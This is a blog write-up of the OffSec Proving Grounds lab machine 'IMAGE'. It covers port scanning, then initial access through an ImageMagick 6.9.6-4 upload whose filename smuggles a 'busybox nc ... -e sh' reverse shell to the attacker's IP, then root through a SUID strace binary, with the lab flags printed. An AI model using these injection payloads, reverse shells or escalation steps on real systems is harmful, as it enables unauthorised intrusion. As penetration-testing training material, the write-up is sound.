Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - IMAGE

·1239 words·6 mins·
OSCP OFFSEC PG PRACTICE IMAGEMAGICK
 Author
Table of Contents

Summary
#

On port 80 there is an application running called ImageMagick Identifier 6.9.6-4. There’s an exploit available which we customize to get initial access as the www-data user. There is a SUID bit set on the strace binary that leads to privileges escalation to the root user.

Specifications
#

  • Name: IMAGE
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • OS: Linux image 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 GNU/Linux
  • IP address: 192.168.182.178
  • OFFSEC provided credentials: None
  • HASH: local.txt:1aa60a2558c32c1cee3a3a290fd14098
  • HASH: proof.txt:fa07ecdd7d94fa42b9c01366fa41831a

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir image && cd image && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 18 18:23 .
drwxrwxr-x 33 kali kali 4096 Aug 18 18:23 ..
drwxrwxr-x  2 kali kali 4096 Aug 18 18:23 enum
drwxrwxr-x  2 kali kali 4096 Aug 18 18:23 exploits
drwxrwxr-x  2 kali kali 4096 Aug 18 18:23 files
drwxrwxr-x  2 kali kali 4096 Aug 18 18:23 tools
drwxrwxr-x  2 kali kali 4096 Aug 18 18:23 uploads

## set bash variable
ip=192.168.182.178

## ping target to check if it's online
ping $ip

PING 192.168.182.178 (192.168.182.178) 56(84) bytes of data.
64 bytes from 192.168.182.178: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.182.178: icmp_seq=2 ttl=61 time=18.1 ms
^C
--- 192.168.182.178 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.101/18.260/18.419/0.159 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.182.178:22
Open 192.168.182.178:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-18 18:24 CEST
Initiating Ping Scan at 18:24
Scanning 192.168.182.178 [4 ports]
Completed Ping Scan at 18:24, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:24
Completed Parallel DNS resolution of 1 host. at 18:24, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:24
Scanning 192.168.182.178 [2 ports]
Discovered open port 22/tcp on 192.168.182.178
Discovered open port 80/tcp on 192.168.182.178
Completed SYN Stealth Scan at 18:24, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.182.178
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-18 18:24:32 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier

On port 80 there’s an application called ImageMagick Identifier. Once we upload a .jpg file the application shows a version number : 6.9.6-4.

Searching on the internet for an existing exploit for this version, we can find: https://github.com/ImageMagick/ImageMagick/issues/6339. To replicate the exploit, let’s create our own .jpg file, setup a listener, upload our .jpg and get initial access as the www-data user in the /var/www/html directory.

## make a `test.jpg` file
echo "test" > test.jpg

## rename `test.jpg` to this filename:
mv test.jpg '|hekk"`busybox nc 192.168.45.204 9001 -e sh`" .jpg'

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## after uploading/clicking on `Upload and Identify`, catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.182.178] 37398

## print the current user
whoami
www-data

## print current working directory
pwd
/var/www/html

## find `local.txt`
find / -iname 'local.txt' 2>/dev/null
/var/www/local.txt

## print `local.txt
cat /var/www/local.txt
1aa60a2558c32c1cee3a3a290fd14098

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@image:/var/www/html$ export TERM=xterm
www-data@image:/var/www/html$ stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::7ba9:3aa7:1247:c167/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start local webserver
python3 -m http.server 80

## on target
## change directory
www-data@image:/var/www/html$ cd /var/tmp
www-data@image:/var/tmp$

## download `linpeas.sh`
www-data@image:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-18 17:16:28--  http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                                                linpeas.sh                                        100%[=============================================================================================================>] 933.76K  5.33MB/s    in 0.2s    

2025-08-18 17:16:28 (5.33 MB/s) - 'linpeas.sh' saved [956174/956174]

## set the execution bit
www-data@image:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@image:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows the strace binary has the SUID bit set. Using GTFOBins (https://gtfobins.github.io/gtfobins/strace/#suid) we can escalate our privileges to the root user.

www-data@image:/var/tmp$ strace -o /dev/null /bin/sh -p
#

## print current user
# whoami
root

## print `proof.txt`
# cat /root/proof.txt
fa07ecdd7d94fa42b9c01366fa41831a

References
#

[+]

Related

OFFSEC - Proving Grounds - BLACKGATE
·1474 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.
OFFSEC - Proving Grounds - SPX
·2016 words·10 mins
OSCP OFFSEC PG PRACTICE TINY FILE MANAGER MAKE
Tiny File Manager 2.5.3 on port 80; Exploiting CVE-2024-42007 and uploaded PHP reverse shell gives initial access, making own Makefile to set SUID on /bin/bash escalates our privileges
OFFSEC - Proving Grounds - OCHIMA
·1812 words·9 mins
OSCP OFFSEC PG PRACTICE MALTRAIL PSPY
Maltrail 0.52 on port 8338 allows unauthenticated RCE, granting initial access. Exploit /var/backups/etc_Backup.sh as it’s run by root every minute, to escalate to root privileges.
OFFSEC - Proving Grounds - ZIPPER
·1808 words·9 mins
OSCP OFFSEC PG PRACTICE PHPWRAPPER PSPY
Zipper website on port 80 allows file uploads. Use ZIP PHP wrapper for initial access and escalate to root via /opt/backup.sh script.
OFFSEC - Proving Grounds - SCRUTINY
·2633 words·13 mins
OSCP OFFSEC PG PRACTICE VHOST JOHN SSH2JOHN TEAMCITY
Initial access via OFFSEC credentials or TeamCity CVE-2024-27198 exploit, get id_rsa key for marcot and password of multiple users. Briand runs /usr/bin/systemctl as root, escalate to root using GTFOBins.
OFFSEC - Proving Grounds - WORKAHOLIC
·2802 words·14 mins
OSCP OFFSEC PG PRACTICE WPPROBE SQLMAP HASHCAT FTP STRACE GCC
Use OFFSEC creds or scan Wordpress. Exploit a Wordpress vulnerability (CVE-2024-9796), crack hashes for charlie/ted. FTP as ted and SSH in as charlie. Escalate to root via SUID binary with custom shared object.